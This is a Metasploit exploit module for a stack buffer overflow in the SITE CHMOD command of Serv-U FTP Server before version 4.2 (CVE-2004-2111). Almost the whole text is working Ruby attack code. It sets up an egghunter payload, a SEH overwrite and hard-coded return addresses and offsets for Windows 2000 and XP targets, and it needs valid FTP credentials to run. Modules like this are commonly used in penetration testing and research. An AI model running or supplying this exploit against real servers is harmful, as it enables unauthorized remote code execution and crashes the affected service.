RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit)
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the site chmod command in versions of Serv-U FTP Server prior to 4.2. You must have valid credentials to trigger this vulnerability. Exploitation also leaves the service in a non-functional state. }, 'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-2111'], [ 'BID', '9483'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP0-4 EN', { 'Ret' => 0x750212bc, #WS2HELP.DLL 'Offset' => 396 } ], [ 'Windows XP SP0-1 EN', { 'Ret' => 0x71aa388f, #WS2HELP.DLL 'Offset' => 394 } ] ], 'DisclosureDate' => 'Dec 31 2004', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login eggoptions = { :checksum => true, :eggtag => "W00T" } hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions) buffer = "chmod 777 " buffer << make_nops(target['Offset'] - egg.length - hunter.length) buffer << egg buffer << hunter buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter buffer << [target.ret].pack('V') #seh buffer << rand_text(5000) print_status("Trying target #{target.name}...") send_cmd( ['SITE', buffer] , false) handler disconnect end end |